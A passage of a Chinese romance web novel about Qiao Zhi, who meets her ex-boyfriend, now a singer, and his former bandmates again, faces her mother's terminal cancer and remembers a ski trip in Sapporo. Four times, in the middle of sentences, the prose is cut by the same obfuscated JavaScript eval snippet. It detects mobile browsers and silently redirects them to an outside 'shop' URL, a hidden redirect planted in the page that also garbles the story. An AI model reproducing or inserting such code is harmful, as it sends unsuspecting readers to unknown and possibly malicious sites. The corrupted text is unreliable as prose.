乔之突然想到姚朔从前也是乐队的一员,于是好奇地问:“老姚,那你、还有乐队其他人,现在还在做音乐吗?” 姚朔有些不好意思地挠头:“早就不了。颜叙那狗可能还沾点边,我和小夏毕业后还是按部就班地找工作去了。” 说完他又笑起来,一身轻松道:“不过呢,我前段时间辞职了,最近打算开家面包店,你记得来给我捧场。” 他们的乐队一共四人。何舟泽是主唱兼吉他,姚朔担任贝斯手,键盘手是一个叫夏安语的女生,鼓手叫颜叙。 他们四个没有一人是音乐专业出身。何舟泽当时学的是生物医药工程,姚朔学法,小夏学建筑,几人同级。而颜叙是比他们小一届的学弟,乔之有些记不清他学什么了,依稀记得是个名字很长的工科专业。 他们几人大三快结束时,刚读完大二的颜叙突然决定转学到国外完成剩下两年学业,临时退出了乐队。 这件事是乐队解散的起点,尽管后来他们找到临时鼓手还参加过几场演出,但面对毕业前夕的种种变数,乐队最终还是走向了结束。 乔之最后一次和姚朔说话,是在大四上学期。 彼时何舟泽刚刚被星探发掘,准备签约经纪公司。明明是四个人的乐队,但对方只看中了他一人。 . 那天乔之做完实验去活动室找何舟泽吃饭,还没进门就听见了争吵声。 “何舟泽你是不是有病啊,这么好的机会你还犹豫去不去?”姚朔的语气激动。 另一道声音稍低些,但乔之太过熟悉,因此也听得一清二楚:“我们是个乐队,所有的作品都是大家一起完成的!我不能一个人独享成果。” “你别在这关键时候想东想西。颜叙那狗走了之后,我们本来就是靠你强撑着。”然后一阵噼里啪啦的声响,好像是一堆东西被扫到了地上,姚朔的声音再度激动起来,“而且……而且我根本就不是真心在搞音乐,这东西又不能当饭吃,我早就腻了!老子以后要当律师,当精英!” “……你说什么?”何舟泽的声音隐含着一点怒意和不敢置信。 夏安语这时似乎是拉住了两个人,她的声音夹在其中:“你们俩别再这儿吵了。公司爱签不签,精英爱当不当,先给我把最后几场演出搞定!” 这会儿乔之走到了门边,何舟泽本想张口说些什么,看见她后顿时停住了。 他叫了她一声:“……乔乔。” 活动室一时都安静了下来,空气中弥漫着尴尬。 乔之本无意于此,但刚刚的气氛大概由她这个外人打破比较合适。 姚朔的眼睛都红了,看见乔之还是努力冷静下来,憋出一个笑:“我爸这周又做了点心,我给你也留了一份。” 说着,在一旁的袋子里取出一盒小蛋糕。 巧克力味儿的,乔之至今都记得。 . 乔之不由得想起那天姚朔赌气般的话语,好在后来他们俩和好如初。 于是她现在大胆地开起玩笑:“你不当精英律师了吗?” 姚朔没想到她会突然这么来一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445144|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,显然也是想到了那天的情形。 他没忍住笑了:“怎么你也拿这句话取笑我。他们几个这些年可没少让我听这几个字。” 他接着摆摆手说:“当什么狗屁精英,我再也忍不了在律所给人做牛马了。” 乔之这会儿也跟着笑了,这是今晚她最轻松的时刻,和姚朔说话就好像又回到了多年前。 “做面包也挺好,继承你父亲的手艺。” 姚朔得意地点点头,一边说着什么“我早晚会青出于蓝胜于蓝”,一边又低头在手机上捣鼓着什么。 “该成员与本群其他成员都不是好友,请注意隐私安全。” 一条通知弹了出来,姚朔惊讶地“诶”了一声,乔之发现自己被他拉进了一个群。 “你和何舟泽不是微信好友?” 乔之看见群里有四名成员,这才意识到自己进了乐队群。 她摇摇头:“其实我们也是昨天才遇见。” 姚朔看了看她,又看了看手机,欲言又止。 乔之想了想,说:“这是你们乐队小群吗?拉我进来不太合适吧。” “家属也算成员!”说着他意识到自己可能说错话了,画蛇添足般地加了一句,“……曾经的也算。” “你把颜叙那八百个前女友往哪儿搁?”何舟泽戏谑的声音从门口传来,他顺势在乔之身边坐下。 姚朔梗住了,心里大骂何舟泽不知好歹,他明明在给他创造机会,创造可能! “嗯,那我还是退了吧。”乔之说着便准备往下滑,找退群按键。 何舟泽按住她的手。 “你留着吧。当年替我们写了这么多活动申请书,”他的喉结轻滚了一下,“不算家属……算是编外人员。” 姚朔接着话头赶紧附和:“是啊,我们四个没一个能写好那玩意儿,还是多亏了你。这么多年了,他们俩估计也挺想你的。” 像是隔空感应到了姚朔的呼唤,沉默的微信群跳动出了几条消息。 【今天不搬砖:这是?】 最先发消息的是夏安语,毕业后她进了一家京市的建筑事务所,过上了昼夜不分的加班生活。 何舟泽单手拿着手机,快速地敲了几个字。 【H:乔之。】 姚朔紧跟着也发了条消息。 【姚朔S:欢迎我们的乐队第五人归队!@ChrisYan,叙狗快出来迎宾。】 【ChrisYan:刚起床就看见乔乔姐,给我的周末开了个好头。】 颜叙在纽约,现在当地时间大概是早上七八点。 【Jo:大家好,好久不见,我最近刚回江临工作。】 【今天不搬砖:好哇,我下个月可能来江临出差,有机会可以约饭。】 【ChrisYan:乔乔姐回国了,那岂不是和我更远了?】 【姚朔S:别装了,你俩都在美国的时候也没见有什么交集。】 夏安语还在加班,颜叙也刚起床没多久,因此大家并未多聊,只是得知了前因后果后让姚朔好好休养。 尽管毕业多年,但微信群里三言两语之间,乔之就知道几人之间的关系并没有因为距离拉远而变冷淡。 似乎只有她是唯一一个毕业后就彻底消失了的人。 姚朔看了眼时间,已接近八点。 “奇怪了,我的外卖怎么还没到?”他嘟囔着,打开外卖软件看配送情况,“啊呀,我忘记医院外卖不能送上楼,骑手给我放楼下了。” 然后他看了看自己打着石膏的腿,又瞅了瞅眼前两人,为难地开口:“有人能帮我去楼下拿个外卖吗?” 何舟泽正准备起身,姚朔又摇了摇头,叹气:“呃,何舟泽算了,你还是别随便露面了。乔之……” 他露出了诚恳的神情。 乔之见状,了然道:“我去吧,你把订单信息发给我。” 5. 第五章 乔之提着外卖走进电梯,正准备合上门,一个双手提满物品的大妈挤了进来。 “小姑娘,可以麻烦你帮我按一下十楼吗?谢谢了!” 乔之侧了侧身,点点头道:“不客气。” 姚朔的病房在住院部六楼。她先帮忙按了数字“10”,然后在余光里瞥见电梯上标注的各个楼层的科室信息。 十楼是肿瘤科。 她怔了怔,想到了什么,随即将目光往上移,才看见“江临市第二医院”这几个字眼。 来时她未曾留意,这里正好也是她的母亲入住的医院,而且……她的病房也在十楼。 大妈见她没按别的楼层,开口搭话:“你也是去十楼吗?是来看望什么人不?” 乔之一时没回过神,电梯早已走过了六楼。她纠结了片刻,答道:“嗯,来看看我妈。” “哎,我家老头子也十楼。肺癌,发现的时候已经晚期了,造孽啊!” 乔之紧紧攥着外卖的塑料袋,手中“簌簌”声作响。过了许久她才轻声道:“癌症早期不容易发现,我妈妈发现时也是胃癌四期了。” 大妈见乔之神情低落,只当她是为母亲的病情忧心,开口安慰道:“小姑娘,咱还是得看开点。这病能治就治,治不了也得让他们安安稳稳地走,你说是不?” 乔之点点头,没再说话。 电梯很快到了十层,大妈道了别后急匆匆地走了出去。 乔之慢慢踏出电梯门,看见眼前的墙壁上挂着“肿瘤科”的告示牌。 她其实没来过几次,但双脚却好像自己记住了去病房的路线,自然地挪步。 只是刚到病房门口,当她看见门上写着的“乔希”两个字时,脚底又像是生了根,竟一步也迈不动了。 乔之透过房门上的透明小窗,隐约能看见乔希的床位,上面的人静静躺着,似乎已经休息。 她收回放在门把上的手,看了会儿,转身准备离开。 “乔乔……?” 身后传来一道惊讶的叫声。 是她的继父。 “姜叔叔。”乔之转过身,对着眼前神色憔悴的中年男人微微颔首。 男人的神情很是惊讶,他没想到这会儿能在医院见到乔之。他悄悄打量了一下她,小心翼翼地问道:“你是来看你妈妈的吗?” 乔之没否认:“我有个朋友正好也在这家医院住院。我顺便上楼来看看她。” 姜永望见她主动来看望感到很高兴,但随即又懊恼道:“你妈刚刚睡下,我不忍心叫她起来。” “没关系,让她好好休息吧,我只是顺道来看看。”然后她又关心了一句,“她最近情况好吗?” 姜永望摇摇头,在病房外的长椅上坐下:“还是老样子吧,医生说她病情发展太快,癌细胞有进一步扩散的风险。” 乔之咬咬唇,她早料到母亲的情况不会太好,但听姜永望的话,好像现实还要更糟一些。 “她最近精神也不是太好。”男人犹豫片刻后开口请求,“你有空多来看看她吧。见到你,总能高兴点。” 乔之闭了闭眼,半晌后重重叹了口气:“我尽量……不过今天的事,先别告诉她。” 姜永望倒是没太惊讶,她们母女俩的关系一向冷淡,这几年乔之生活在国外,她们更是形同陌生人。 他沉默地点点头应下了。 “我朋友还在等我给他送饭,我先下去了。”乔之看了看眼前的继父,双鬓已经花白,比她上个月见他时还要更憔悴苍老。 她顿了顿,又说:“您也注意身体。” - 乔之回到病房时,何舟泽在陪姚朔打游戏。 她一走用了不少时间,但两人当她是不熟悉医院的路,也没多问。 姚朔确实是饿了,今天下午出车祸后就被送进医院,腿上做了手术后又进行了各种各样的检查,到这会儿还没好好吃饭。 他点了个砂锅粥,外卖盒没一会儿就见了底。 “你俩差不多时间也该回去了,我妈待会儿就来。”他收好外卖盒,指了指何舟泽,“尤其是你,这么跑一趟又耽误不少事儿了吧?等会儿方鸣该来控诉我了。” 何舟泽接过外卖垃圾,拍了拍姚朔的肩:“我没什么要紧事,你好好休息。” 乔之跟着道别。 等下了楼,坐进车里,何舟泽半晌没启动车子。 他的手搭在方向盘上,犹豫了一会儿后转头看着乔之,出声问道:“刚刚取外卖路上发生了什么?你好像回来后兴致就不高。” 他一早就注意到乔之的神色不对,尽管表面上看起来还是一切如常,但何舟泽能感受到这之下隐藏着些不好的情绪。 乔之听到这话,蓦然对上何舟泽的眼睛。漆黑的瞳仁里映照着停车场的点点灯光,还有她模糊的脸。 她微怔了下,扯出一个假笑:“没事。” “乔之,你还真是一点都没变。大事小事都憋在心里。”何舟泽垂了垂眼眸,转过头去。 礼貌疏远,从来都不肯释放自己的内心,从不肯相信他人,哪怕只是一点。 . 何舟泽第一次注意到乔之,并不是在暴雨天的教室。 大一开学前的军训,他们生物医药工程专业和海洋科学系分在了同一个连部,只不过何舟泽在一排,而两个专业的女生都分在了三排。 何舟泽天性活跃,不怕表现自己,因此在连里混得开,几个教官都很喜欢他。有一天下午他顶着大太阳帮忙运了好几趟物资,回方阵后头晕得厉害,教官挥挥手便让他坐边上的树荫下休息。 同在树荫下的还有一个同连部的女生。 她的身子纤瘦,皮肤几近病态的白。松垮垮的军训服穿在她的身上,好像马上就能将她压倒。 何舟泽不认识她,但他这会儿无聊得发闷,随意地开口闲聊:“同学,你也中暑吗?” 女生摇摇头,神情冷淡:“脚疼。” “我是一排一班的何舟泽,BME*的。你呢?” “海科。”说完她便站起身,一点没给他继续搭话的机会,态度拒人千里之外。 她没回过头看他,说:“我准备回队伍了,再见。” 何舟泽见她的步伐还是带着些怪异,细看军训鞋外沿染上了点血色。 “你才休息多久,要不还是……” 对方没再搭理他,拖着强作正常的步子跑回队伍。 真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445145|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个怪人。何舟泽想。 起初他以为她性子冷漠,不易接近。可之后的那个雨天,所有人都自顾不暇时,乔之成了那个唯一愿意捎他一程的人。 再后来他才知道,不是她生性凉薄,而是她一直穿着一层厚厚的外壳。 直到他们在一起而后又分手,他都没能让她真正卸下。 . 车子缓缓启动,随后转出了车位。 乔之许久才轻轻地吐出几个字:“何舟泽,我妈生病了。” 她的语气颇为平静:“她也在这家医院,胃癌晚期。我刚刚去看了她一眼,情况不太好。” 这回轮到何舟泽无措,他动作一顿,紧张地开口:“……抱歉。如果有什么能帮上的地方,你可以找我。” 乔之摇摇头:“其实很早之前我就想跟你说,有些事不是不愿意说,而是我觉得没有必要。就像我妈的病,只能走一步算一步,听天由命罢了。” “大四那次我落水,也不是故意要瞒着你。”她一口气说了许多,“我在医院躺几天就好了,没必要让你分心,再特意赶回来照顾。况且,你就算回来,我也不能少躺两天。对吗?” 这件事是他们分手的导火索。 那时何舟泽刚签下经纪公司。公司为了提升他的知名度,安排他参加了一档大热的音乐竞技节目。 就在同一时间,跟着导师外出采样的乔之意外落水。直到他结束录制回到江临,才知道乔之在医院住了一周。 而这期间,她什么都没跟他说。 他觉得她从不把他当作可以依靠的对象,可乔之依旧什么都没解释。 没想到最后这句解释迟到了这么多年,尽管真实的理由如他所料,听得他如鲠在喉。 何舟泽出声打断:“我不是这个意思。” 乔之继续说道:“昨天见到你,我很意外。不过如果你想叙旧的话,我能说的可能只有这么多了。” 声音语气都像极了曾经,冷静镇定。 几个小时前,乔之明明还对往事闭口不提。何舟泽没想到她现在却像打开了什么开关,竟没有要停下的意思。 他其实并不是非要叙旧,只是他们之间隔了六年时间,他能抓住的好像也只有往日时光。但这会儿乔之主动开口,却给了他一种她在了断往昔的意思。 慌神的人变成了他。 何舟泽不敢再说话。 乔之转头看向窗外,玻璃上蒙着一层水汽,模糊了车外的景致。而几小时前刚下过的雨,也将整座城市罩上了一层氤氲的雾气。 乔之住在江临大学分配的教职工公寓,离市二院不算近。 两人保持着凝固的气氛待了一路。 何舟泽将车停靠在她的单元楼下,没等他出声,乔之先行开口了。 “谢谢你送我回来。” 她背起包下车,而后又停住了。 乔之转过身看向车内。 何舟泽对上她的眼睛。 他见乔之微微低下头,看向他的眼睛里什么都没有,让他不由得一阵心慌。 她的薄唇上下翕动,声音很轻,但一字一句他都听得清楚。 她说:“何舟泽,我们以后还是不要见面了。” 6. 第六章 回家后,何舟泽整整呆坐了一小时,全然没有理会方鸣不断发来的行程通知。 他闭上眼,脑子里就是乔之那张冰冷的薄唇,一张一合。 两天之内,她就能从因他突然闯入而慌神中清醒过来,不痛不痒地宣告他们重逢的结局。 乔之总是擅长用最简单的话语击碎他那些努力的构筑。 何舟泽从来都知道。 姚朔在他们走后接连发了好几条消息,何舟泽没看手机,他便一个电话打了过来。 “你和乔之现在什么情况?” 姚朔开口便直戳他心窝。 何舟泽自嘲地冷笑了一声,回道:“没什么情况。” 对面一副不以为然的语气:“我看怕是对她还念念不忘吧。何舟泽,你这小子死心眼,我还能不知道?” 想到乔之不久前的那句宣判,何舟泽久久未说话。 那边姚朔感受到他情绪的变化,急着开口:“你俩这么多年没见了,没进展太正常了,你这会儿失望个什么劲儿?” 他絮絮叨叨地接着说:“乔之微信你还没加吧?听我一声劝,这会儿都在一个群了,你还不马上行动?” 何舟泽捻了捻手指,道:“我有她的微信。” “你可别装了。”姚朔冷哼一声,“我拉她进群的时候都看到系统消息了,她和你们仨都不是好友。” 说完又马上补了一句:“方鸣加了不算。别让我看不起你。” 何舟泽靠坐在沙发上,直盯着茶几上那只乔之用过的水杯看。 灰色的玻璃杯带着不规则的棱角,边缘处折射着客厅冷色的顶灯。 他半晌才开口。 “她刚刚……叫我别再找她了。” 姚朔回想着今晚乔之的神色,那会儿见她和何舟泽相处,明明她是更紧张的那个人。怎么回了趟家,反而变成何舟泽在这儿焦虑不安。 他倒吸一口气:“你送她回家之后是犯了什么罪,惹得她不痛快?” 何舟泽简单复盘了一下当时在车上的场景,还没来得及为自己辩白,就听姚朔嫌弃地说:“你这不赶着犯贱吗?刚见面就跟人家提之前的事,在这儿回味分手伤痛呢?” “是我说错话了。” “要我说,你别揪着之前的事不放了。你就当重新认识,一切都从头来过。” “你又在给谁当情感大师呢?”何舟泽听到电话里隐隐传来姚朔母亲戏弄的声音。 姚朔自己明明没谈过恋爱,教起人来倒是一套一套的。 他捂了捂电话,对一旁的母亲说道:“妈,你别打岔,我兄弟的终身大事就在此一举了。” “靠你,我看真是得完蛋。” 何舟泽听他们母子俩突然插入的对话,不由得笑了声,心情竟稍微舒畅了一点。 “老姚,你说得对。” 六年都等得起,即便是从头再来,他也心甘情愿。 姚朔得到当事人的认可,不由得意起来:“那必须,我指导过的小情侣可不止一两对。她现在不是在给你的新歌MV当学术指导吗,你不如借工作的名义缓和一下关系。” - 乔之七月份正式入职江临大学,至今还不满三个月。尽管暑假期间她已经在着手建设自己的实验室,但初来乍到,需要花费心思的地方还有许多。 周一上午她没有课程安排,但前段时间联系好的实验器材厂商今天可能要来安装和检测设备,所以她还是早起赶来了学校。 好在一切运转顺利,忙碌了一个上午,大多数问题都已妥善解决。 乔之送走技术人员后回到实验室,眼见着不久前还空荡荡的房间,如今也初具雏形,心中生起一点小小的满足感。 上次搭过她一程的祝声这会儿正巧路过,同她打了个招呼:“乔老师早上好,实验室怎么样了?” 祝声和她同属海洋生物与进化所,只不过具体的研究方向是微生物,而乔之主要研究海洋哺乳动物的行为机制。 乔之侧了侧身,示意祝声可以走过来看一眼:“基本的设备都搭建好了。” 祝声走过来看见干净明亮的实验室,恭喜道:“太棒啦!你计划什么时候正式招学生?” 乔之微笑道:“可能春季会留意一下,这学期主要还是和吴主任合作。” “搭建一个新的实验室不容易,有什么能帮得上的可以找我!”祝声热情道。 她也是前几年刚入职的新老师,很是清楚起步阶段的不易。 “之后有问题肯定要向你请教。”乔之一边带上实验室的门,转而想起上次借伞的情谊,“还没谢谢祝老师上次下雨捎了我一程。你待会儿有别的安排吗,我请你去食堂吃一顿?” 祝声抬手看了眼表,确实已经是饭点,于是欣然答应:“好呀!” 去食堂的路上,祝声想起乔之上回提起自己在给一个歌手做MV学术指导的事,顺口问了句:“上次的会面顺利吗?” 乔之闻言含糊道:“……还可以。” 工作本身确实很顺利,如果不谈及与何舟泽的其他交集。 “那就好。我听说国内明星被捧得高,很多人都不太好相处。”祝声没留意她语气中的停顿,只是一句感慨。 何舟泽倒算不上不易相处。 这几天乔之断断续续地了解到这些年他在圈内外广受好评,性格和才华都是其中重要的因素。 只不过他们两人之间隔着那么一段过往,不尴不尬的关系让她有些难以自处。 乔之附和了一句:“公事公办就好。” 得知合作对象是何舟泽之后,她本来只想礼貌地保持工作联系,等这项任务完成后再彼此回归各自生活。可是那天晚上她竟没能控制好自己的情绪,下车时对他说了那句不算友善的话。 其实乔之自己都有点分不清,她究竟是怕他翻旧帐,还是怕再次掉进藕断丝连的关系里。 祝声没再继续这个话题,转而想到什么,又问了句:“乔老师,你习惯别人怎么称呼你?感觉一直互相叫老师,有些生疏。” “我都可以,叫乔之就好。” 祝声点点头:“你可以叫我声声,或者直接喊祝声也行。对了,亲近的人一般叫你什么?小名吗?” 乔之没细想过这个问题。 在国外时大家都叫她的英文名“Jo”,中文语境下她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445146|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常用的小名是“乔乔”。 不过,大多数人还是叫大名。乔之向来不擅长与别人建立亲密的关系,轻易用小名对她来说好像过于亲昵。 但何舟泽是个例外,他们还未在一起时,他便成天追着喊她“乔乔”。起初像极了故意使坏的恶作剧,可后来亲近时听他在耳边呢喃,乔之也常常迷失在他的温柔声浪里。 不过以后不会有了。 “我家人会叫我‘乔乔’。” “啊……”祝声停顿了片刻,拉长声音,“你的英文名不会是‘Jo’吧?” 乔之诧异地转头,问道:“你怎么知道?” 祝声见她的反应,哈哈笑出声:“我随便猜的。不过我喜欢‘Jo’这个名字,让我想起了《小妇人》。里面有个独立勇敢的女性角色,就叫这个名字!” 乔之没想到祝声会提起这本书,因为她的英文名除了想贴近本名外,确实也有一部分原因来自于此。 “其实我取名的时候的确参照了这本书。” 这次轮到祝声惊讶了:“真的吗?我也很喜欢《小妇人》,这是我在美国上高中时的必读书目。我的文学课结课论文就是分析四姐妹的人物形象。” 两人突然找到共同话题,一路欢声笑语。 最后乔之请祝声在教工食堂吃了一顿便饭。 她从口袋里取出手机准备扫付款码时,屏幕上方弹出一则新消息:“您收到一条新的好友申请。” 对方的头像是一轮倒映在深色海面的弯月,近处的芦苇丛摇曳。 乔之隐约感到眼熟。 她顺手滑开,看见昵称只填写了一个“H”。 她想起来,这是何舟泽的微信。 她一时定在了原地。 祝声奇怪地靠近她:“怎么不走了?” 乔之这才回过神,她熄灭显示屏,抬头对祝声笑笑:“没事,我们去找个空位子吧。” - 一直到返回办公室,乔之都没再打开手机。 等她再次打开微信时,何舟泽又发了一条新的好友申请,这次还备注了一则消息:“我是何舟泽,抱歉打扰,加你的微信是为了方便沟通工作。” 虽然对他说了“再也不要见面”的话,但乔之没理由拒绝沟通工作,何况何舟泽的语气看起来相当正经严肃。 于是她想了想,便点下了通过的按钮。 对方很快就发来了消息。 【H:上次的资料我看过了,感谢乔老师的付出。】 【H:这几天我的团队据此修改了一些细节,这周就准备开始拍摄。】 措辞一板一眼,礼貌中带着疏离。何舟泽像是全然忘记了两天前发生的种种,只纯粹把她当作合作伙伴。 乔之斟酌后敲了几个字。 【Jo:不客气,祝你们拍摄顺利。】 那边半晌没再回消息,但“对方正在输入中”的字眼不断在会话框最上方闪动,乔之以为他还有什么新的工作要求,于是她静静坐着等候回话。 许久,何舟泽的弯月头像再次出现。 【H:周五下午在江临市海洋馆,乔老师方便亲自来现场一趟吗?】 7. 第七章 乔之并没有直接应下何舟泽的邀请。 她认为自己所能做的,不过就是使故事背景设定里的海洋生物符合现实习性,远不到可以现场指导拍摄的地步。 但许是担心何舟泽误会自己对他有私怨,乔之寻了个借口,回得委婉。 【Jo:周五下午可能有别的工作安排,抱歉。】 何舟泽没再多说什么便结束了对话,好像刚刚那句询问不过是礼节上的一环。 乔之这才舒了口气。 这几天所有意料之内和意料之外的交集她便权当是工作产生的联系。她知道何舟泽很忙,等这个MV拍摄结束,他或许就不会再把关注放在她身上。 至今她所期望的,仍然和当初分开时一样——各自走自己该走的路,然后相忘于江湖。 - 乔之收了收桌子,带着电脑出门。 紧接着她有一节课。 常坐第一排的程青筠还在她原来的位置,看见乔之后热络地打了个招呼:“乔老师好!” 乔之微笑着点头回应。 这门《海洋动物行为生态学》是海洋科学系的高年级专业选修课,选的人并不多。 动物行为学并不是生物学里的热门方向,在海洋生物学中尤是如此,因此这学期只有寥寥十几人。但小班有其好处,乔之可以和每一位学生直接地交流讨论。比起单纯的授课,她更喜欢这样的方式。 顺利地结束今日的课程内容,学生们道谢后陆续离开。 乔之收起电脑,看见程青筠还留在教室里,正踌躇着起身。 她随口一问:“青筠,你在这个教室还有课吗?” 女生摇摇头,深呼一口气走上讲台,说:“乔老师,这周末我把那几篇文章都看了。感觉好有意思,您也是做这个方向的吗?” 乔之有些惊讶,因为她提供的那几篇论文都是这个领域内的经典之作,不说研究深度,光是页数也有不少。 她投去赞许的目光,说:“我是研究海洋哺乳动物的,也涉及它们的行为学研究。” 程青筠犹豫了一会儿后开口:“我今年也打算进实验室积累一些科研经验,同时对这方面的研究很有兴趣。或许会有机会进您的实验室吗?” 乔之没想到程青筠会提出这样的请求。 她知道江大海洋科学系要求学生在大三就进实验室进行一定的科研训练,她当年更是在大二就联系好了导师。只是一般的学生通常会选择更加资深的老师和更成熟的实验室,而她初来乍到,连实验室都还在建设中。 “我这学期刚入职,还没组建好自己的实验室。我们学院的吴裕老师也做相关研究,我现在主要和他们组合作。”乔之将自己的现状摊开来讲。 吴裕是他们的系主任,也是乔之本科期间的导师,是她科研路上最早的领路人。 乔之这学期没有招收自己的研究生,所以现阶段仪器和人手都来自吴主任的课题组。 程青筠以为她在婉拒,眉眼低落下去。 乔之赶紧解释:“我的意思是,如果你有兴趣和我一起探索这方面的问题,或许要比找其他老师更辛苦哦。” 女生的眼睛瞬间亮了起来,她重重地点头:“乔老师,我知道的!但是我特别希望成为您第一个学生!” 乔之笑了,她想到自己当初也是直接冲到吴裕面前,求着他带自己做研究。 教室外零零星星走进几个不认识的学生。 乔之看了眼门边挂着的钟表,道:“青筠,这里待会儿可能有别的课。你下午还有其他安排吗?或许我们可以去办公室聊一聊。” 程青筠赶忙摇摇头表示自己没课了,背上书包就跟着乔之往办公室走。 乔之将自己的学术经历以及实验室现状同她一一道来。 虽然她也很希望能有学生可以来自己的课题组,但程青筠才大三,对很多事情或许并没有清晰的认知。在正式合作前,她希望她能够想清楚再做决定。 两人的谈话还算愉快,程青筠答应乔之会再仔细考虑一下。 临走前,她眼尖瞅见乔之桌上的相框,不禁问了句:“乔老师,这张照片你是在哪拍的呀?” 乔之顺着她的目光,看见二十岁的自己坐在雪地里大笑。 这张照片让她不免又想起了何舟泽。 ——二十岁在雪地里张牙舞爪的何舟泽和二十八岁戏谑调侃的何舟泽。 两个身影重重叠叠,乔之竟有些辨不清。 “在札幌。”她说。 . 大三那年寒假,乔之和何舟泽一起去日本玩了两周。 本来是何舟泽父母为自己订的双人旅游套餐,结果出发前两周,何舟泽的母亲临时进医院做了一个小手术,不便出行。为了不浪费定金,最后这个旅游计划落在了乔之头上。 乔之还记得何舟泽突然打来电话时是个傍晚,她正帮外婆收拾好吃剩的碗筷。 外婆在客厅看电视,乔之躲进房间里接电话。 她住三楼,房间的窗户正对着居民区的健身中心,乔之远远听见几个小孩在追逐打闹。 电话里,何舟泽假作烦恼地提议:“旅行社不给退定金,不少钱呢。乔乔,你说要不……我们俩去吧?” 乔之当然能听出他语气中克制不住的窃喜,语调飞扬,就像是楼下嬉笑玩耍的小孩。 但她架不住他的软磨硬泡,最后竟然紧急办下了签证。 然而到了日本后几天,乔之才从不寻常的行程安排里察觉到端倪。 何舟泽总是可以随意地修改目的地,安排的活动都是她所感兴趣的。乔之才不信有这样自由的旅游套餐。 一番质问后她才知道原来何舟泽不仅成功退掉了原来的套餐,还拿着退回来的钱自己制定了全新的旅游计划。 但被揭穿后,他也没有丝毫的尴尬,反而抱着她狡黠一笑:“反正都是在日本玩,我们年轻人怎么能和中年夫妻走一样的路线呢!” 然后他凑到了她的耳边,压低的声音混着鼻息:“乔乔,你明明就很想来这儿玩。” 扰得她的耳垂痒。 现在想来,何舟泽从来就是个经验老道的骗子。 过去就是如此。 而她一次又一次地任他在自己的世界招摇过市。 想到何舟泽,乔之的心突然涌上一股莫名滋味,回过神来看见程青筠一副果然如此的表情道:“果然是在札幌!我就说怎么有些眼熟。” “啊,你也去过这儿吗?” 程青筠露出明媚的笑,仿佛陷入了什么美好回忆:“去年冬天在那儿滑了一周的雪,札幌太美了。” . 乔之也在札幌周边待了差不多一周。 她和何舟泽都在南方长大,对雪景有天然的迷恋。因此他们思考几番后将几大城市的行程无限压缩,为北海道留出了很多自由时间。 旅游的最后几天,他们一起去滑雪。 “乔乔,教练问我们要不要去试试看那边的雪道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445147|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何舟泽指着不远处的中级道说。 乔之并不擅长滑雪,她远远看见中级道的几个陡坡,连连摇头。奈何何舟泽抓着她往那边冲,最后竟然也一路忐忑地滑了半程。 这条雪道的最后一段是一个很宽的陡坡,乔之站在缓冲的平台区往下望,白茫茫的雪地映在眼中,她的双腿微微有些发抖。 “何舟泽,我不敢。”她咬咬唇,不敢有所动作。 没想到何舟泽毫不迟疑地往下移动了几步,做出出发的动作。他咧着嘴对她说:“乔乔,到这儿就没有回头路啦!我先下去,教练也会在后面看着你的!” 然后一溜烟消失在了白色之中。 陪在乔之身边的临时教练切换着日语和英语给她加油,保证安全,于是她最后还是咬牙滑了下去。 ——结局是快到坡底时摔了个跟头。 她听见有人一直在大喊着:“乔乔,你好棒!” 乔之摘掉雪镜,看见何舟泽举着手机拍照,这会儿正对着她手舞足蹈。 她拍拍身上的碎雪,只觉得何舟泽在嘲笑她。 “我都说了我滑不了,太狼狈了!” “你才学了没多久,已经很棒啦!”何舟泽弯起唇角,自吹自擂道,“毕竟不是谁都像我一样是个滑雪天才。” 说着他慢慢往乔之的方向滑动,本想扶她一把,没想到脚底打滑,竟直直扑倒在她面前,同时带起了地上的雪花。 乔之见他瞬间打脸的狼狈模样,忍不住大笑起来:“你是平地摔的滑雪天才!” “这是意外!”何舟泽赶忙爬起来,脸上倒是一点没有不好意思的神情。 他检查刚刚捏在手里的手机,突然惊讶地“诶”了一声,半晌没动。 乔之用滑雪杆敲敲他的腿,好奇问:“怎么了?” 